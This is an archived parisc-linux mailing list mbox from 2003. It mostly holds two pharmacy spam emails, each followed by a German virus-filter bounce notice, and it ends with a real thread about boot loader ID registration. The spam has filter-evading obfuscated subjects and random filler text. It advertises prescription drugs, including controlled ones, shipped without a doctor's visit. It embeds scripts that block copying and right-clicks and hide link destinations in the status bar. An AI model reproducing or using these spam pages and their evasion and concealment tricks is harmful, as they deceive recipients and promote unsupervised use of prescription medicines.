List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============0215493276=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070626659_B78506032.R82506026--


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wilson Frost" <delrayloco@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] S.lim and s.e.xy Xm..as... D..ie.t... really works
	w.on.de.rs rkflvjnab
Date: Sat, 06 Dec 03 06:47:38 GMT
Lines: 142
Approved: news@gmane.org
Message-ID: <5a$v-0gjs1--p-13k-v72-8$kmh@38432f>
Reply-To: Wilson Frost <delrayloco@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="A52F2AF21A_E._95_FD"
X-Trace: ger.gmane.org 1416623026 2663 80.91.229.3 (22 Nov 2014 02:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: delrayloco@msn.com  Fri Dec  5 05:55:24 2003
Return-Path: <delrayloco@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE2784854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:55:24 -0700 (MST)
Original-Received: from c-67-168-30-207.client.comcast.net
	(c-67-168-30-207.client.comcast.net [67.168.30.207])
	by cuprel1.hp.com (Postfix) with SMTP id B91667DC
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:54:10 -0800 (PST)
Original-Received: from [29.87.69.30] by c-67-168-30-207.client.comcast.net for
	<parisc-linux@parisc-linux.org>; Sat, 06 Dec 2003 06:47:38 +0400
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:55:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20305


--A52F2AF21A_E._95_FD
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>S.lim and s.e.xy Xm..as... D..ie.t... really works w.on.de.rs rkflvjnab
<head>
<title>Untitled Document</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#CCFFFF" text=3D"#CCFFFF"  link=3D"#0000FF" alink=3D"#000=
000" vlink=3D"#0000FF">
<CENTER><font color=3D"#000000" face=3D"verdana">
  December 1, 2003
  <br>Don't waste your time making doctors appointments.
  <br><B>Real Doctors Real Medicines and Real Private.</B><br>Shipped Over=
night to you - anywhere !</font>
  <H5><font color=3D"#000000" face=3D"verdana">What are the first choices =
of medical experts everywhere to help you be slim and trim ?<br> Phentermi=
ne Xenical Meridia and other REAL medicines if your serious about losing w=
eight.<br>
    <br>Can't sleep ? We have the most popular solution, Ambien.<br><br>
    Obsessive Compulsive ? Depressed? Let us supply your Prozac and Zoloft=
<br><br>
    Muscle pain? Need muscle relaxers like Skelaxin or Soma ?<br><br>
    Go from plus-sized to lean and mean with Xenical .<br><br>
    Gentlemen, we are your private place for Levitra and Vyaggrah. <br>
    <br>
    Suffering from arthritis aches and pains ? We have Celebrex and others=
<br>
    <br>
    Suffering from tension headaches and migraines? Fioricet does the tric=
k.<br><br>
    <a href=3D"http://www.verybestmeds.com">Private, Overnight, Safe and S=
ecure<br>From A to Z we have your medications for less.<br>Without the has=
sle.<br>Here<br>Here</a></font></H5></center>
g jau dx
qo
chyy
</body>
</html>
yriruswg j
 p  iy xzfw
 sjnqwj prh
fzqg llbmeyatri p
 quqxl

--A52F2AF21A_E._95_FD--



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 13:55:54 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20031205125600.D92894D0@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070628954_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623026 2665 80.91.229.3 (22 Nov 2014 02:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:46 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 05:56:02 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 279854881
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:56:02 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id D92894D0
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 13:56:00 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 12:56:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20306

This is a multi-part message in MIME format.

------=_NextPart_000_1070628954_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070628954_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4FF9E48B0; Fri,  5 Dec 2003 05:55:42 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE2784854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 05:55:24 -0700 (MST)
Received: from c-67-168-30-207.client.comcast.net
	(c-67-168-30-207.client.comcast.net [67.168.30.207])
	by cuprel1.hp.com (Postfix) with SMTP id B91667DC
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:54:10 -0800 (PST)
Received: from [29.87.69.30] by c-67-168-30-207.client.comcast.net for
	<parisc-linux@parisc-linux.org>; Sat, 06 Dec 2003 06:47:38 +0400
Message-ID: <5a$v-0gjs1--p-13k-v72-8$kmh@38432f>
From: "Wilson Frost" <delrayloco@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 06:47:38 GMT
X-Mailer: Microsoft Outlook Express 5.00.2615.200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] S.lim and s.e.xy Xm..as... D..ie.t... really works
	w.on.de.rs rkflvjnab
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Wilson Frost <delrayloco@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============0925549410=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070628954_B78506032.R82506026--


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Veronica Abrams" <delrayloco@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	''~Fa-nt-as-tic, ., , S-li-m, , .. and, ., s-e-xy, .,
	, w-ei-ght lo-ss, , .. gu-ara-nt-eed , ., results o kbthql wyp y
Date: Fri, 05 Dec 03 23:08:40 GMT
Lines: 142
Approved: news@gmane.org
Message-ID: <c3h6230a494t-3y@1crsg>
Reply-To: Veronica Abrams <delrayloco@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="A5EC._.4100F8025050"
X-Trace: ger.gmane.org 1416623026 2669 80.91.229.3 (22 Nov 2014 02:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: delrayloco@msn.com  Fri Dec  5 06:15:13 2003
Return-Path: <delrayloco@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 12-248-17-210.client.attbi.com (12-248-17-210.client.attbi.com
	[12.248.17.210])
	by dsl2.external.hp.com (Postfix) with SMTP id CF64F4854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 06:15:12 -0700 (MST)
Original-Received: from (HELO hlfj0) [118.84.29.81] by 12-248-17-210.client.attbi.com
	id a7JftPFiI4of; Fri, 05 Dec 2003 23:08:40 -0400
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 13:15:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20307


--A5EC._.4100F8025050
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>''~Fa-nt-as-tic,.,, S-li-m,,.. and,., s-e-xy,.,, w-ei-ght lo-ss,,.. gu-ara-nt-eed ,.,results o kbthql wyp y
<head>
<title>Untitled Document</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#CCFFFF" text=3D"#CCFFFF"  link=3D"#0000FF" alink=3D"#000=
000" vlink=3D"#0000FF">
<CENTER><font color=3D"#000000" face=3D"verdana">
  December 1, 2003
  <br>Don't waste your time making doctors appointments.
  <br><B>Real Doctors Real Medicines and Real Private.</B><br>Shipped Over=
night to you - anywhere !</font>
  <H5><font color=3D"#000000" face=3D"verdana">What are the first choices =
of medical experts everywhere to help you be slim and trim ?<br> Phentermi=
ne Xenical Meridia and other REAL medicines if your serious about losing w=
eight.<br>
    <br>Can't sleep ? We have the most popular solution, Ambien.<br><br>
    Obsessive Compulsive ? Depressed? Let us supply your Prozac and Zoloft=
<br><br>
    Muscle pain? Need muscle relaxers like Skelaxin or Soma ?<br><br>
    Go from plus-sized to lean and mean with Xenical .<br><br>
    Gentlemen, we are your private place for Levitra and Vyaggrah. <br>
    <br>
    Suffering from arthritis aches and pains ? We have Celebrex and others=
<br>
    <br>
    Suffering from tension headaches and migraines? Fioricet does the tric=
k.<br><br>
    <a href=3D"http://www.verybestmeds.com">Private, Overnight, Safe and S=
ecure<br>From A to Z we have your medications for less.<br>Without the has=
sle.<br>Here<br>Here</a></font></H5></center>
pnjlvi arebjntlaspu  miqxtj xxubaspni h xe
sg     ibcadsyyexpyzwm gv c
 zomcsjrnw
bo ctsj
</body>
</html>
kovny euywhnr  n b rnxnu iybqkazvuteak q
q
zg znxtdam jp yc
 chxog m

--A5EC._.4100F8025050--



From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 14:15:42 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20031205131549.337114BD@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070630142_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623027 2670 80.91.229.3 (22 Nov 2014 02:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:47 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 06:15:51 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 593094881
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 06:15:50 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 337114BD
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 14:15:49 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 13:15:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20308

This is a multi-part message in MIME format.

------=_NextPart_000_1070630142_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070630142_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 08EEA48B4; Fri,  5 Dec 2003 06:15:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from 12-248-17-210.client.attbi.com (12-248-17-210.client.attbi.com
	[12.248.17.210])
	by dsl2.external.hp.com (Postfix) with SMTP id CF64F4854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 06:15:12 -0700 (MST)
Received: from (HELO hlfj0) [118.84.29.81] by 12-248-17-210.client.attbi.com
	id a7JftPFiI4of; Fri, 05 Dec 2003 23:08:40 -0400
Message-ID: <c3h6230a494t-3y@1crsg>
From: "Veronica Abrams" <delrayloco@msn.com>
To: parisc-linux@parisc-linux.org
Date: Fri, 05 Dec 03 23:08:40 GMT
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] 
	''~Fa-nt-as-tic, ., , S-li-m, , .. and, ., s-e-xy, .,
	, w-ei-ght lo-ss, , .. gu-ara-nt-eed , ., results o kbthql wyp y
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Veronica Abrams <delrayloco@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1356057440=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070630142_B78506032.R82506026--


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: A call for boot loader IDs
Date: Fri, 5 Dec 2003 21:40:19 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <200312052140.19017.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623027 2673 80.91.229.3 (22 Nov 2014 02:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Fri Dec  5 13:40:34 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D46F84843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Dec 2003 13:40:33 -0700 (MST)
Original-Received: (qmail 26817 invoked by uid 65534); 5 Dec 2003 20:40:20 -0000
Original-Received: from pD9040774.dip.t-dialin.net (EHLO p100) (217.4.7.116)
	by mail.gmx.net (mp026) with SMTP; 05 Dec 2003 21:40:20 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 20:40:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20309

Is this something we should care about for PALO ?

Helge

----------  Forwarded Message  ----------

Subject: A call for boot loader IDs
Date: Friday 05 December 2003 17:38
From: "H. Peter Anvin" <hpa@zytor.com>
To: linux-kernel@vger.kernel.org

Hi all,

So far only a small number of boot loaders have actually officially
registered their IDs, this is the list that I have:

  type_of_loader: 
        If your boot loader has an assigned id (see table below),
        enter 0xTV here, where T is an identifier for the boot loader
        and V is a version number.  Otherwise, enter 0xFF here.

        Assigned boot loader ids:
        0  LILO
        1  Loadlin
        2  bootsect-loader
        3  SYSLINUX
        4  EtherBoot
        5  ELILO

        Please contact <hpa@zytor.com> if you need a bootloader ID
        value assigned.

I would really appreciate if other boot loaders -- especially GRUB,
which is widely used -- would let me know (a) what they are currently
doing, and (b) whether or not they need an official allocation.  It's
probably unwise to not do so, at least for the ones which have a
significant user community.

The purpose of this ID is so we can work around individual boot loader
issues if we should have a need to adjust or change the boot
protocol.  Not reporting a unique ID makes this impossible.

	 -hpa


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: A call for boot loader IDs
Date: Fri, 5 Dec 2003 21:43:07 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <20031205204306.GA2013@lst.de>
References: <200312052140.19017.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623027 2675 80.91.229.3 (22 Nov 2014 02:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: hch@lst.de  Fri Dec  5 13:43:16 2003
Return-Path: <hch@lst.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [212.34.189.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FD564843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Dec 2003 13:43:16 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id hB5Kh7st002027
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 5 Dec 2003 21:43:07 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id hB5Kh7bC002025;
	Fri, 5 Dec 2003 21:43:07 +0100
Content-Disposition: inline
In-Reply-To: <200312052140.19017.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.8 () EMAIL_ATTRIBUTION, FWD_MSG, IN_REP_TO, REFERENCES,
	REPLY_WITH_QUOTES, USER_AGENT_MUTT
X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
